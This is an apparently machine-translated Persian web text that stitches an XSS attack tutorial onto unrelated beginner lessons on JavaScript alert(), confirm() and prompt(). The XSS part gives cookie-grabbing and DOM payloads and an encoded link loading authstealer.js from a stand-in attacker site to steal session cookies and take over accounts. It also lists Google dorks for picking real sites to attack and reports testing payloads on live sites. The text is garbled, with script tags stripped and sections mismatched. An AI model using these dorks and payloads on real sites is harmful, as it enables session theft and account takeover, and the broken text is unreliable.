اسکریپت بین سایتی (XSS) آسیب پذیری است که شامل تزریق کد سمت کلاینت (جاوا اسکریپت) به صفحه وب است که سایر کاربران در حال مشاهده آن هستند.
این آسیب‌پذیری به دلیل فیلتر ناکافی داده‌هایی است که کاربر برای درج در صفحه وب ارسال میکند. خیلی راحت تر میشه فهمید مثال ملموس. هر کتاب مهمان را به خاطر بسپارید - اینها برنامه هایی هستند که برای پذیرش داده ها از کاربر و سپس نمایش آنها طراحی شده اند. بیایید تصور کنیم که کتاب مهمان به هیچ وجه داده های وارد شده را بررسی یا فیلتر نمی کند، بلکه آنها را به سادگی نمایش می دهد.
شما می توانید ساده ترین اسکریپت خود را ترسیم کنید (هیچ چیز ساده تر از نوشتن اسکریپت های بد در PHP نیست - بسیاری از افراد این کار را انجام می دهند). اما در حال حاضر گزینه های آماده زیادی وجود دارد. به عنوان مثال، من پیشنهاد می کنم با Dojo و OWASP Mutillidae II شروع کنید. نمونه مشابهی در آنجا وجود دارد. در یک محیط Dojo مستقل، در مرورگر خود به این پیوند بروید: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
اگر یکی از کاربران وارد کرد:
سپس صفحه وب نمایش داده می شود:
سلام! من سایت شما را دوست دارم.
و اگر کاربر این را وارد کند:
سلام! من site.alert شما را دوست دارم ("Pwned")
سپس به صورت زیر نمایش داده می شود:
مرورگرها کوکی های زیادی را برای تعداد زیادی سایت ذخیره می کنند. هر سایت فقط می تواند کوکی های ذخیره شده توسط خودش را دریافت کند. به عنوان مثال، example.com برخی از کوکی ها را در مرورگر شما ذخیره کرده است. اگر از other.com بازدید کنید، این سایت (اسکریپت های سرویس گیرنده و سرور) نمی تواند به کوکی هایی که example.com ذخیره کرده است دسترسی داشته باشد.
اگر example.com در برابر XSS آسیب پذیر باشد، به این معنی است که ما می توانیم به نوعی کد جاوا اسکریپت را به آن تزریق کنیم و آن کد از طرف example.com اجرا می شود! آن ها این کد به عنوان مثال به کوکی های example.com دسترسی خواهد داشت.
فکر می کنم همه به خاطر دارند که جاوا اسکریپت در مرورگرهای کاربر اجرا می شود، یعنی. با تزریق XSS کد مخرببه داده های کاربری که صفحه وب سایت را باز کرده است دسترسی پیدا می کند.
کد تعبیه شده می تواند هر کاری را که جاوا اسکریپت می تواند انجام دهد، یعنی:
- به کوکی های وب سایتی که مشاهده می کنید دسترسی پیدا می کند
- ممکن است هر گونه تغییری در آن ایجاد کند ظاهرصفحات
- به کلیپ بورد دسترسی پیدا می کند
- می تواند برنامه های جاوا اسکریپت را پیاده سازی کند، به عنوان مثال، کی لاگرها (رهگیرهای ضربه زدن به کلید)
- BeEF را انتخاب کنید
- و غیره.
ساده ترین مثال با کوکی ها:
هشدار (document.cookie)
در واقع هشدار فقط برای تشخیص XSS استفاده می شود. محموله مخرب واقعی اقدامات پنهانی را انجام می دهد. او مخفیانه تماس می گیرد سرور راه دورمهاجم و اطلاعات دزدیده شده را به او منتقل می کند.
انواع XSSمهمترین چیزی که باید در مورد انواع XSS بدانید این است که آنها عبارتند از:
- ذخیره شده (دائمی)
- منعکس شده (تزلزل)
مثالی از ثابت ها:
- هر بار که کاربران درخواست نمایش این صفحه را دارند، یک پیام ساخته شده ویژه که توسط مهاجم وارد کتاب مهمان (نظر، پیام انجمن، نمایه) می شود، که در سرور ذخیره می شود، از سرور دانلود می شود.
- به عنوان مثال، مهاجم به داده های سرور دسترسی پیدا کرده است تزریق SQLو کد مخرب جاوا اسکریپت (با کی لاگر یا BeEF) را در داده های ارائه شده به کاربر معرفی کرد.
نمونه هایی از غیر دائمی:
- جستجویی در سایت وجود دارد که همراه با نتایج جستجو، چیزی شبیه «شما جستجو کردید: [رشته جستجو]» را نشان می‌دهد و داده‌ها به درستی فیلتر نمی‌شوند. از آنجایی که چنین صفحه ای فقط برای شخصی که به آن لینک دارد نمایش داده می شود، تا زمانی که مهاجم لینک را برای سایر کاربران سایت ارسال نکند، حمله کار نخواهد کرد. به جای ارسال لینک به قربانی، می توانید از قرار دادن یک اسکریپت مخرب در سایت بی طرفی که قربانی بازدید می کند استفاده کنید.
آنها همچنین متمایز می کنند (برخی به عنوان یک نوع آسیب پذیری XSS غیر پایدار، برخی می گویند که این نوع همچنین می تواند یک نوع XSS پایدار باشد):
- مدل های DOM
به بیان خیلی ساده، اگر کد HTML را باز کنیم، می‌توانیم کد مخرب XSS غیر دائمی «عادی» را ببینیم. به عنوان مثال، لینک به شکل زیر است:
Http://example.com/search.php?q="/>alert(1)
و وقتی کد منبع HTML را باز می کنیم، چیزی شبیه به این را می بینیم:
alert(1)" /> یافتن
و DOM XSS ساختار DOM را تغییر می دهد، که در مرورگر در حال پرواز شکل می گیرد و ما فقط می توانیم کدهای مخرب را هنگام مشاهده ساختار DOM تولید شده مشاهده کنیم. HTML تغییر نمی کند. بیایید این کد را به عنوان مثال در نظر بگیریم:
site:::DOM XSS خطایی روی داد... تابع OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) تابع get_fragment() ( var r4c = "(.*?)"؛ var results = location.hash .match(".*input=token(" + r4c + ");"); if (نتایج) (document.getElementById("default").innerHTML = ""؛ return (unescape(نتایج))؛ ) else ( برگشت null; ) ) display_session = OnLoad(); document.write("شناسه جلسه شما این بود: " + display_session + "
")
سپس در مرورگر خواهیم دید:
کد منبع صفحه:
بیایید آدرس را به صورت زیر تشکیل دهیم:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
حالا صفحه به شکل زیر است:
اما بیایید بررسی کنیم منبع HTML:
اصلاً هیچ چیز آنجا تغییر نکرده است. این همان چیزی است که من در مورد آن صحبت کردم، برای شناسایی کدهای مخرب باید به ساختار DOM سند نگاه کنیم:
در اینجا یک نمونه اولیه XSS در حال کار است، برای یک حمله واقعی ما به یک بار پیچیده‌تر نیاز داریم، که به دلیل این واقعیت که برنامه بلافاصله بعد از نقطه ویرگول خواندن را متوقف میکند، امکان‌پذیر نیست و چیزی مانند alert(1);alert(2) هیچ نیست. امکان پذیرتر با این حال، به لطف unescape() می توانیم از یک payload مانند این در داده های بازگشتی استفاده کنیم:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
جایی که نماد را جایگزین کردیم. به معادل کدگذاری شده با URI!
اکنون می‌توانیم یک بار مخرب جاوا اسکریپت بنویسیم و پیوندی برای ارسال به قربانی بنویسیم، همانطور که برای اسکریپت‌نویسی متقابل غیر دائمی استاندارد انجام می‌شود.
حسابرس XSSکه در گوگل کروم(و همچنین در Opera، که اکنون از موتور Google Chrome استفاده می کند)، این شگفتی در انتظار من بود:
dom_xss.html:30 حسابرس XSS از اجرای یک اسکریپت در "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" خودداری کرد. زیرا کد منبع آن در درخواست یافت شد. حسابرس فعال شد زیرا سرور نه "X-XSS-Protection" و نه "Content-Security-Policy" را ارسال کرد.
آن ها مرورگر اکنون یک حسابرس XSS دارد که سعی می کند از XSS جلوگیری کند. فایرفاکس هنوز این قابلیت را ندارد، اما فکر می‌کنم موضوع زمان است. اگر پیاده سازی در مرورگرها موفقیت آمیز باشد، می توانیم در مورد یک مشکل قابل توجه در استفاده از XSS صحبت کنیم.
خوب است که به یاد داشته باشید مرورگرهای مدرندر حال انجام اقداماتی برای محدود کردن سطح بهره برداری از مشکلاتی مانند XSS غیر مداوم و XSS مبتنی بر DOM هستند. این نکته ای است که باید هنگام آزمایش وب سایت ها با استفاده از مرورگر به خاطر بسپارید - ممکن است مشخص شود که برنامه وب آسیب پذیر است، اما تأیید پاپ آپ را فقط به این دلیل نمی بینید که مرورگر آن را مسدود کرده است.
نمونه های بهره برداری XSSمهاجمانی که قصد سوء استفاده از آسیب‌پذیری‌های اسکریپت بین سایتی را دارند، باید به هر کلاس آسیب‌پذیری متفاوت برخورد کنند. بردارهای حمله برای هر کلاس در اینجا توضیح داده شده است.
برای آسیب‌پذیری‌های XSS، حملات می‌توانند از BeEF استفاده کنند که حمله را از وب‌سایت به محیط محلی کاربران گسترش می‌دهد.
مثالی از یک حمله XSS غیر مداوم
1. آلیس به طور مکرر از وب سایت خاصی که توسط باب میزبانی می شود بازدید می کند. وب سایت باب به آلیس اجازه می دهد تا با نام کاربری/رمز عبور وارد سیستم شود و داده های حساس مانند اطلاعات پرداخت را ذخیره کند. هنگامی که یک کاربر وارد سیستم می شود، مرورگر کوکی های مجوز را ذخیره می کند که شبیه کاراکترهای بی معنی هستند، به عنوان مثال. هر دو کامپیوتر (مشتری و سرور) به یاد دارند که او وارد شده است.
2. مالوری خاطرنشان می کند که وب سایت باب دارای یک آسیب پذیری غیر دائمی XSS است:
2.1 هنگامی که از صفحه جستجو بازدید می کنید، رشته جستجو را وارد کرده و بر روی دکمه ارسال کلیک کنید، اگر نتیجه ای یافت نشد، صفحه رشته جستجوی وارد شده را نمایش می دهد و سپس عبارت "نیست یافت نشد" و URL شبیه http://bobssite است. .org?q= او پرس و جو جستجو
2.2 با یک عبارت جستجوی معمولی مانند کلمه "سگ"، صفحه به سادگی "هیچ سگی یافت نشد" و آدرس http://bobssite.org?q=dogs را نشان می دهد که رفتاری کاملا طبیعی است.
2.3 با این حال، هنگامی که یک جستجوی غیرعادی مانند alert("xss"); :
2.3.1 یک پیام هشدار ظاهر می شود (که می گوید "xss").
2.3.2 صفحه هشدار ("xss") را نمایش می دهد. همراه با پیام خطا با متن "xss" یافت نشد.
آدرس 2.3.3 مناسب برای بهره برداری http://bobssite.org?q=alert("xss");
3. Mallory یک URL برای سوء استفاده از آسیب‌پذیری ایجاد میکند:
3.1 او URL http://bobssite.org?q=puppies را می سازد. او ممکن است به ترتیب کاراکترهای ASCII را به فرمت هگزادسیمال مانند http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E تبدیل کند. برای جلوگیری از رمزگشایی فوری یک URL مخرب توسط افراد.
3.2 او به برخی از اعضای ناآگاه سایت باب ایمیل می‌زند و می‌گوید: «سگ‌های باحال را بررسی کنید».
4. آلیس نامه ای دریافت می کند. او عاشق سگ است و روی لینک کلیک می کند. او برای جستجو به سایت باب می رود، چیزی پیدا نمی کند، "هیچ سگ یافت نشد" را نشان می دهد و در وسط یک برچسب با یک اسکریپت راه اندازی می شود (روی صفحه نامرئی است)، برنامه Mallory's authstealer را دانلود و اجرا می کند. .js (راه اندازی شد حملات XSS). آلیس آن را فراموش می کند.
5. برنامه authstealer.js در مرورگر Alice اجرا می شود که گویی از وب سایت باب سرچشمه گرفته است. او یک کپی از کوکی های مجوز آلیس را می گیرد و آنها را به سرور مالوری می فرستد، جایی که مالوری آنها را بازیابی می کند.
7. حالا که مالوری داخل است، به بخش پرداخت وب سایت می رود، نگاه می کند و یک کپی از شماره را می دزدد. کارت اعتباریآلیس. سپس او می رود و رمز عبور را تغییر می دهد، یعنی. حالا آلیس حتی دیگر نمی تواند وارد شود.
8. او تصمیم می گیرد قدم بعدی را بردارد و لینک ساخته شده به این شکل را برای خود باب می فرستد و به این ترتیب امتیازات مدیریتی برای سایت باب دریافت می کند.
حمله مداوم XSS
Dorks برای XSS
اولین قدم این است که سایت هایی را انتخاب کنیم که در آنها حملات XSS را انجام خواهیم داد. سایت ها را می توان با استفاده از Google dorks جستجو کرد. در اینجا چند مورد از این dorks وجود دارد که می توانید آنها را کپی و در جستجوی Google جایگذاری کنید:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
لیستی از سایت ها در مقابل ما باز می شود. شما باید سایت را باز کنید و فیلدهای ورودی مانند فرم را در آن پیدا کنید بازخورد، فرم ورودی، جستجوی سایت و غیره
اجازه دهید فوراً متذکر شوم که جستجوی آسیب‌پذیری‌ها در برنامه‌های وب به‌روزرسانی خودکار محبوب تقریباً بی‌فایده است. یک نمونه کلاسیک از چنین برنامه هایی وردپرس است. در واقع آسیب پذیری هایی در وردپرس و به خصوص افزونه های آن وجود دارد. علاوه بر این، بسیاری از سایت‌ها وجود دارند که نه موتور وردپرس را (به دلیل اینکه مدیر وب‌سایت تغییراتی در کد منبع ایجاد کرده است) و نه افزونه‌ها و مضامین خود را به‌روزرسانی نمی‌کنند (به عنوان یک قاعده، اینها افزونه‌ها و تم‌های غیرقانونی هستند). اما اگر این بخش را بخوانید و چیز جدیدی از آن یاد بگیرید، پس وردپرس هنوز برای شما مناسب نیست... حتما بعداً به آن باز خواهیم گشت.
بهترین اهداف، انواع موتورها و اسکریپت های خودنویس هستند.
می توانید محموله درج را به عنوان انتخاب کنید
هشدار (1)
توجه داشته باشید که کد تعبیه شده شما در کدام تگ های کد HTML قرار می گیرد. در اینجا مثالی از یک فیلد ورودی معمولی آورده شده است:
هشدار (1)
محموله ما به جایی می رسد که اکنون کلمه "روبالشی" وجود دارد. آن ها به مقدار تگ ورودی تبدیل شود. ما می توانیم از این جلوگیری کنیم - ما آن را می بندیم نقل قول دوگانه، و سپس خود تگ با استفاده از "/>
"/>هشدار(1)
بیایید آن را برای برخی از سایت ها امتحان کنیم:
عالی است، یک آسیب پذیری وجود دارد
احتمالاً همه اسکنرهای برنامه های وب دارای یک اسکنر آسیب پذیری داخلی XSS هستند. این مبحث جامع نیست، بهتر است با هر اسکنر مشابه به طور جداگانه آشنا شوید.
همچنین ابزارهای تخصصی برای اسکن آسیب پذیری های XSS وجود دارد. در میان آنها، به ویژه می توان برجسته کرد.
در این مقاله با سه روش جالب یعنی متدهای alert()، confirm() و prompt() آشنا خواهیم شد. همه آنها برای تعامل با کاربر طراحی شده اند.
تمام این سه روش متعلق به شی پنجره (Browser Window) است. و می توان آنها را به این صورت نامید: window.method_name(); اما جاوا اسکریپت به ما اجازه می دهد که این شی پنجره را مشخص نکنیم، بلکه به سادگی نام متد را بنویسیم.
ما با متد alert() شروع می کنیم. این روش، پیام مشخص شده را در پنجره مرورگر کاربر نمایش می دهد. این پنجره در بالای کل صفحه ظاهر می شود و تا زمانی که کاربر روی دکمه OK کلیک نکند، بسته نمی شود.
برای نشان دادن، اجازه دهید یک پیام را با استفاده از متد ()alert نمایش دهیم.
Var today_is = "دوشنبه"; alert("Today" + today_is);
در داخل متد می‌توانیم هر رشته‌ای را بدون تگ‌های html مشخص کنیم. آنها در اینجا پردازش نمی شوند، اما همانطور که هستند نمایش داده می شوند.
اگر رشته ای که می خواهیم مشخص کنیم بسیار طولانی است و می خواهیم به آن بپریم خط جدید، سپس در اینجا تگ html است
کار نخواهد کرد در اینجا باید از کاراکتر "\n" استفاده کنید.
Alert("Loooooooooong \nStringgggggg");
این روش اغلب برای یافتن خطاها در کد استفاده می شود.
فرآیند پردازش کد از بالا به پایین پیش می رود، بنابراین برای دریافت خطا، به سادگی متد ()alert را در ناحیه مورد انتظار که خطا در آن قرار دارد می نویسیم. و اگر alert() کار کرد، تا خطی که نوشته شده هیچ خطایی وجود ندارد.
در مرحله بعد، باید آن را یک خط یا چند خط به زیر ببرید. تغییرات را ذخیره می کنیم، صفحه را دوباره در مرورگر رفرش می کنیم و می بینیم که آیا alert() کار کرده است یا خیر، تا خطی که در آن قرار دارد هیچ خطایی وجود ندارد، در غیر این صورت، اگر کار نکرد، خطا در قسمت قرار دارد. خط بالای خطی که در حال حاضر در آن قرار دارد. به این ترتیب می توانید یک خطا در کد پیدا کنید.
متد confirm()این روش برای تایید پاسخ به یک سوال استفاده می شود. فقط دو گزینه برای پاسخ وجود دارد، بله (OK) یا خیر (لغو). اگر پاسخ کاربر بله باشد، متد true و در غیر این صورت false را برمی‌گرداند.
به عنوان مثال، پنجره‌ای را با استفاده از متد () confirm نمایش می‌دهیم که در آن از کاربر می‌پرسیم «آیا مطمئن هستید که می‌خواهید صفحه را ترک کنید؟» اگر پاسخ کاربر بله باشد، از طریق متد alert() پیغام زیر را نمایش می دهیم «کاربر می خواهد از صفحه خارج شود»، در غیر این صورت پیام دیگری «کاربر نمی خواهد از صفحه خارج شود» را نمایش می دهیم.
Var user_answer = confirm("آیا مطمئن هستید که می خواهید صفحه را ترک کنید؟"); if(user_answer) alert("کاربر می خواهد صفحه را ترک کند"); else alert("کاربر نمی خواهد \nصفحه را ترک کند");
روش تایید() به این صورت است. می توان از آن در مناسبت های مختلف استفاده کرد. به عنوان مثال، قبل از حذف چیزی از یک سایت، مرسوم است که از کاربر بپرسید که آیا از عملکرد خود اطمینان دارد یا خیر. یا قبل از ارسال فرم می توانید از کاربر بپرسید که "آیا همه چیز را به درستی پر کردید؟" اگر پاسخ مثبت داد، فرم ارسال می شود و در غیر این صورت ارسال نمی شود.
متد prompt().آخرین متدی که یاد خواهیم گرفت متد prompt() است. این روش کمتر از دو روش دیگر استفاده می شود. این به شما امکان می دهد اطلاعاتی را از کاربر دریافت کنید که او در یک قسمت متنی وارد می کند.
در نتیجه، متد prompt() یا رشته وارد شده را در صورتی که کاربر روی دکمه OK کلیک کند، یا اگر کاربر روی دکمه لغو کلیک کند، null را برمی‌گرداند.
به عنوان پارامتر یعنی داخل براکت های این روش می توانیم یک خط نشانگر یا یک سوال بنویسیم تا کاربر بداند چه اطلاعاتی باید وارد شود.
به عنوان مثال، اجازه دهید از کاربر بخواهیم به سوال "نام شما چیست؟" پاسخ دهد. نام وارد شده توسط کاربر با استفاده از روش alert() روی صفحه نمایش داده می شود.
Var name = prompt("نام شما چیست؟"); alert("نام شما" + نام است);
صفحه را در مرورگر ذخیره کرده و باز کنید.
البته می توانید هر اطلاعاتی را از متد prompt() در قسمت متن وارد کنید. این اطلاعات حتی در مورد اعداد یا سایر کاراکترهای خاص به صورت رشته ای بازگردانده می شود.
برای مثال از کاربر بخواهیم دو عدد را وارد کرده و سپس آنها را ضرب کند. نوعی ماشین حساب برای ضرب اعداد وجود خواهد داشت.
Var x = prompt("اولین عدد را وارد کنید:"); var y = prompt("عدد دوم را وارد کنید:"); //تبدیل اعداد وارد شده از نوع رشته ای به نوع عددی x = Number(x); y = عدد (y); document.write(x + " * " + y + " = " + (x * y));
اعداد وارد شده رشته هستند، بنابراین برای نتیجه صحیح ضرب، این اعداد باید از تابع Number() عبور داده شوند که آنها را از نوع رشته به اعداد عادی تبدیل می کند.
خوب، این همه است. اکنون سه روش دیگر را می شناسید: alert()، confirm() و prompt(). که می توانید با خیال راحت در عمل از آن استفاده کنید.
در این درس، با متدهای alert()، prompt() و confirm() شی پنجره آشنا خواهیم شد.
متد alert().متد alert() برای نمایش کادر محاوره ای هشدار با پیام مشخص شده و دکمه "OK" در صفحه کاربر طراحی شده است. می توان از آن برای انتقال اطلاعات مهم به کاربر استفاده کرد.
window.alert(Parameter_1);
متد ()alert یک پارامتر مورد نیاز دارد - این متن پیامی است که در کادر محاوره ای نمایش داده می شود. این متد در نتیجه اجرای خود چیزی را بر نمی گرداند.
به عنوان مثال، بیایید یک کادر محاوره ای هشدار برای بازدیدکنندگان سایت زمانی که روی یک پیوند کلیک می کنند نمایش دهیم: به وب سایت بروید
var resultConfirm = تایید(Parameter_1);
این روش یک پارامتر دارد - این متن پیامی است که در کادر محاوره ای نمایش داده می شود.
متد confirm() یکی از دو مقدار را در نتیجه اجرای خود برمی گرداند:
- درست است اگر کاربر روی "OK" کلیک کند.
- اگر کاربر روی لغو کلیک کند یا آن را ببندد نادرست است.
به عنوان مثال، اجازه دهید در عنصر p با id="resultConfirm" نتیجه کلیک کاربر روی دکمه "OK" در کادر محاوره ای نمایش داده شود:
var resultActionUser = تایید ("کاربر، لطفا روی دکمه OK کلیک کنید."); if (resultActionUser) (document.getElementById("resultConfirm").innerHTML = "کاربر، از اینکه روی دکمه تایید کلیک کردید متشکرم"؛ ) else (document.getElementById("resultConfirm").innerHTML = "کاربر، ما از شما ناامید شدیم" پاسخ ";)
متد prompt() برای نمایش کادر محاوره ای روی صفحه کاربر با یک پیام، یک فیلد متنی برای وارد کردن داده ها و دکمه های "OK" و "Cancel" طراحی شده است. این طراحی شده است تا کاربر را برای دریافت داده ها راهنمایی کند.
var resultPrompt = prompt(Parameter_1, Parameter_2);
این روش دو پارامتر دارد:
- پیامی که در کادر محاوره ای نمایش داده می شود. این پارامتر مورد نیاز است و حاوی پیامی است که "به شما می گوید" چه داده هایی را کاربر باید در قسمت متن وارد کند.
- پارامتر دوم اختیاری است و می توان از آن برای تعیین مقدار اولیه استفاده کرد که پس از باز شدن در قسمت ورودی کادر محاوره ای چاپ می شود.
بسته به اقدامات کاربر، متد prompt() ممکن است داده های زیر را برگرداند:
- مقدار متن - اگر فیلد ورودی حاوی داده باشد و کاربر روی "OK" کلیک کند.
- خط خالی - اگر فیلد ورودی حاوی داده نباشد و کاربر روی "OK" کلیک کند.
- null - اگر کاربر روی "لغو" کلیک کند یا این پنجره را ببندد، مهم نیست که چه داده هایی در قسمت متن وارد شده است.
توجه: کادر محاوره ای که در نتیجه اجرای یکی از متدهای alert() , confirm() یا prompt() ظاهر می شود مودال است، یعنی. دسترسی کاربر به برنامه والد (مرورگر) را مسدود می کند تا زمانی که کاربر کادر محاوره ای را ببندد.
به عنوان مثال، بیایید از کاربر نام بخواهیم و بسته به نتیجه، متن را در عنصر با id="nameUser" نمایش دهیم:
var nameUser = prompt ("نام خود را وارد کنید؟"); if (nameUser) ( document.getElementById("nameUser").innerHTML = nameUser +"، به سایت خوش آمدید!"؛ ) else ( document.getElementById("nameUser").innerHTML = "مهمان، به سایت خوش آمدید!" ;)
به عنوان مثال، از کاربر بخواهیم عدد 8 را حدس بزند:
تابع guessNumber() ( var findNumber = prompt ("یک عدد از 1 تا 10 را حدس بزنید؟")؛ سوئیچ (findNumber) (مورد "6": هشدار ("در حال حاضر گرمتر است!")؛ شکست؛ مورد "7": هشدار (" گرم است!")؛ شکست؛ مورد "8": هشدار ("درست حدس زدید! عدد 8 است.")؛ شکست؛ مورد "9": هشدار ("از قبل گرمتر است!")؛ شکست؛ پیش فرض : alert("سرد است!")؛ break; ) ) ... عدد را حدس بزنید
سازماندهی گفت و گو با یک بازدید کننده منبع وب می تواند انجام شود راه های مختلف، که از آن استفاده می کنند توابع جاوا اسکریپت alert() ساده ترین و سریع ترین گزینه است. این گزینه به ویژه برای اهداف آزمایشی خوب است، اما در بسیاری از منابع از آن به عنوان یک عملکرد طبیعی استفاده می شود.
تابع alert() جاوا اسکریپت به شما امکان می دهد پاسخ مثبت دریافت کنید. در واقع این پاسخ مهم نیست، بلکه نمایش اطلاعات مهم است. علاوه بر این، تا زمانی که کاربر پاسخ ندهد، منبع وب کار نمی کند. پاسخ به یک هشدار همیشه یکسان است - این پاسخ است!
برای اهداف اشکال زدایی جاوا اسکریپت، alert() یک ابزار ایده آل است که به شما امکان می دهد به سرعت اطلاعات به روز را دریافت کنید، تصمیم بگیرید و به کار خود ادامه دهید. اما به منظور عملکرد عادی سایت، مزایای نسبتاً زیادی نیز دارد.
جلب توجه بازدیدکنندگان"هشدار" - مانند زندگی، رویدادی را تشکیل می دهد که نمی توانید نادیده بگیرید. ولی این رویداد ممکن است رخ ندهد.
تعداد کمی از توسعه دهندگان این واقعیت را می دانند و مدت زمان طولانی را صرف اشکال زدایی وب سایت خود در بخش مشتری می کنند. در عین حال، تعداد کمی از توسعه دهندگان نمی دانند: پیدا کردن یک اشکال در مشتری، یعنی در مرورگر، اغلب آنقدر دشوار است که:
- ساعت ها از زمان گرانبها بی هدف تلف می شود.
- تبدیل کد باور نکردنی صرف می شود.
- بسیاری از اسکریپت ها بیل می شوند، در کلمات، هم به مرورگر و هم به سرور می رود.
اما هنوز نتیجه ای حاصل نشده است. نه دیباگرها کمک می کنند، نه کلمات، و نه ابزارهای اشکال زدایی تعبیه شده در هر مرورگر. در همین حال، تابوت همیشه به راحتی باز می شود - کلید مناسب مهم است.
یک قانون ساده برای کد صحیحاول از همه، کوکی ها به محبوب ترین جزء یک وب سایت مدرن تبدیل شده اند. هرگز نباید فراموش کنید:
- هشدار جاوا اسکریپت و کوکی سند
- "اینجا و اکنون" و "به طور کلی یا روزی".
کوکی ها روش جالبی برای به خاطر سپردن هر مشتری در عمق مرورگر هستند، اما نباید در جلسه فعلی به آن اهمیت دهید. نگرانی اصلی کوکی ها این است که در "حافظه" مرورگر با محتوایی که در زمان خروج بازدیدکننده داشت، باقی بماند.
از همه جهات دیگر، کد اسکریپت در روده مرورگر فقط به خودش و رویدادهایی که پردازش می کند بستگی دارد.
در این زمینه، و این زمینه ایده آل است، اگر کد به درستی نوشته شود، نمی تواند کار کند. این قانون ایده آل برای کد صحیح است. اگر مرورگر صفحه‌ای خالی را نشان می‌دهد یا اشتباهی انجام می‌دهد، دلیلی وجود دارد که فرض کنیم خطا وجود دارد.
اعمال آن به آسانی پای است:
- هشدار جاوا اسکریپت ("همه چیز تا کنون درست بوده است!").
بهترین دیباگر یا دیباگر رویدادی است که باید اتفاق بیفتد، اما این اتفاق نمی افتد.
با پایین آوردن این ساختار از صفر به یک جرم آزاردهنده در کد، می توانید مکانی را پیدا کنید که بعد از آن کار نمی کند. خطا پیدا خواهد شد. هشدار () جاوا اسکریپت است پنجره مودال. هیچ راهی برای دور زدن آن وجود ندارد و تا زمانی که برنامه‌نویس/بازدیدکننده این پنجره را نبندد، هیچ اتفاق دیگری نخواهد افتاد.
اگر پنجره باز نشد، به این معنی است که یا در کد به اشتباه نشان داده شده است، یا هر چیزی که قبل از آن می آید حاوی خطا است.
وضعیت دشواری که به نظر می رسد جاوا اسکریپت هشدار کار نمی کنداین عمدتا مربوط به الگوریتم های AJAX برای تبادل اطلاعات با سرور است. در اینجا همیشه استفاده از ابزارهای اشکال زدایی کلاسیک و زمانی که در سمت مشتری است مجاز نیست سیستم چند سطحیاشیاء، سپس اشکال زدایی به طور کلی به آگاهی توسعه دهنده تبدیل می شود و هیچ اشکال زدایی نمی تواند کمک کند.
بهترین گزینه برای هشدار در روش برقراری ارتباط با سرور یک div است که در آن پروتکل برقراری ارتباط با سرور با استفاده از روش innerHTML قرار می گیرد - همیشه مشخص می شود که مشکل در چه مرحله ای رخ می دهد.
یک div ایستا که همیشه در صفحه قابل مشاهده است، یک پنجره مودال از یک هشدار جاوا اسکریپت نیست. ممکن است پنجره ظاهر نشود و دلایل زیادی برای این وجود دارد و از نظر نحوی به درستی قالب بندی شده اند. زبان مرورگر بسیار آرام است و هرگز اقدامی انجام نمی دهد مگر اینکه چیزی را بفهمد و تجزیه کند.
ایستایی هر کدام تگ HTML- یک عامل خوب حذف همه کدها و اضافه کردن آن به صورت قسمتی تا زمانی که خطا دوباره رخ دهد بهترین کار نیست تکنولوژی سریعبرای اشکال زدایی درست نوشتن توصیه ای محبوب و مورد توجه است، اما عملی نیست.
زبان مرورگر رویداد محور است، نگرانی اصلی آن کد متوالی نیست، بلکه اجرای عملکرد اختصاص داده شده به تگ های صفحه و مدیریت رویداد است.
قانون اضافی به یک قانون سادهاگر پنجره هشدار جاوا اسکریپت ("تاکنون همه چیز درست نوشته شده است") در مرورگر ظاهر نمی شود، به این معنی است که سینتکس تا جایی که این ساختار نوشته شده است، در مرورگر شکی ایجاد نمی کند و به درستی اجرا می شود.
در منطق سبک مدرنحروف یک اشکال مهم دارند. همه فایل های صفحه (با ماهیت و انواع آنها) در یک کل ادغام می شوند و پس از آن DOM ساخته می شود. ترتیب اتصال فایل ها اغلب مهم است.
زمانی که توسعه دهنده به اصل رویداد محور سازماندهی اجرای توابع اختصاص داده شده به رویدادها اهمیت نمی دهد، بلکه همه توابع را در ترتیب کاربرد و انتساب آنها به برچسب ها و رویدادهای صفحه قرار می دهد، بهتر است.
نظم همیشه مهمترین چیز است. جاوا اسکریپت بقیه موارد را به تنهایی مشخص خواهد کرد: چه زمانی و چه زمانی تماس بگیرید. برنامه نویسی مدرن به طور کلی و در چارچوب هر روشی، به ویژه هر رویکرد شی گرا بسیار سازمان یافته، همیشه سازگار است. آنها همچنین همیشه به صورت متوالی همانطور که توضیح داده می شوند ترکیب می شوند.
اگر اتفاقی نیفتد، به این معنی است که چیزی در جایی اشتباه نیست، بلکه فقط در مقابل این مکان است.
- روش های شی پنجره؛
- متد alert(): خلاصه کوتاه;
- روش confirm() - نوشتن حروف.
- متد prompt() - بیایید خودمان را معرفی کنیم، من Stirlitz هستم.
بنابراین، اشیاء مرورگر. و اول از همه - قدیمی ترین آنها، شی پنجره.
در اینجا روش های اصلی شی پنجره آورده شده است (در کنار آنها، موارد دیگری نیز وجود دارد، اما به ندرت استفاده می شوند و برای اینکه مغزم را با اطلاعات غیر ضروری شلوغ نکنم، آنها را به سری سوم موکول می کنم).
روش |
شرح |
باز و بسته کردن پنجره های مرورگر؛ می توان اندازه پنجره، محتویات آن و همچنین حضور را تعیین کرد صفحه کلید، فیلدهای آدرس و سایر ویژگی ها. |
|
یک کادر محاوره ای زنگ هشدار با پیام مربوطه ظاهر می شود. |
|
یک کادر محاوره ای تایید با دکمه های "OK" و "Cancel" ظاهر می شود. |
|
یک جعبه محاوره ای راهنمای ابزار با یک فیلد ورودی متن ظاهر می شود. |
|
تنظیم یا حذف فوکوس برای یک پنجره. |
|
محتویات یک پنجره را به یک نقطه خاص پیمایش می کند. |
|
تنظیم فاصله زمانی بین فراخوانی تابع و ارزیابی عبارت. |
|
یک فاصله زمانی یک‌باره را قبل از فراخوانی عملکرد یا ارزیابی عبارت تنظیم میکند. |
ما قبلاً می دانیم که پنجره اغلب ضمنی است اما نوشته نمی شود.
فراخوانی پنجره های گفتگوی مختلفپنجره های گفتگو در برنامه ها برای تعامل با کاربر استفاده می شود.
متد alert().
ما در همان ابتدای تحصیل به آن نگاه کردیم. یک کادر محاوره ای ساده با یک پیام و یک دکمه OK ایجاد می کند. تمام تعامل آن به این واقعیت محدود می شود که کاربر با فشار دادن این دکمه می تواند این پنجره را به جایی دورتر بفرستد (و از این بابت متشکرم).
متد confirm()
